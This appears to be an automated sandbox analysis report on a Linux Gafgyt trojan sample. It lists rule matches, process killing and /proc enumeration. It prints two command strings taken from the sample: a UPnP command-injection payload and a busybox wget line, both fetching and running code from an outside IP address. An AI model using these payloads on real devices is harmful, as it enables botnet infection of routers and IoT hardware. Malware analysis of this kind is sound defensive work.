Source: Process Memory Space: mpsl.elf PID: 5457, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5465, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5465, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5467, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5467, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5455, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5457, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5458, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5467, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5451, result: unknown	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	SIGKILL sent: pid: 936, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://193.239.147.201/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5455, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5457, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5458, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5467, result: successful	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	SIGKILL sent: pid: 5451, result: unknown	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	SIGKILL sent: pid: 936, result: successful	Jump to behavior

Source: mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5458.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5458.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5457.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5457.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5452.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5452.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5451.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5451.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5465.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5465.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5449.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5449.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5467.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5467.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5459.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5459.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5455.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5455.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5451, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5451, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5452, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5452, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5457, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5457, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5465, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5465, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5467, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mpsl.elf PID: 5467, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3640/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3122/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3122/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3122/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3638/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3639/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3117/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3117/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3117/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3114/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3114/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3114/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/914/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/518/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/519/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3636/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/917/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5430/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5430/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5430/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5431/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5431/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5431/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3134/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3134/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3134/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3375/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3375/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3375/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3132/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3132/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3132/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3095/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3095/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3095/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5392/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1745/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1745/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1745/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1866/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1866/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1866/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3649/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3649/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3649/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1588/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1588/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1588/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/884/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1982/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1982/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1982/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/765/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/765/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/765/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/765/fd	Jump to behavior
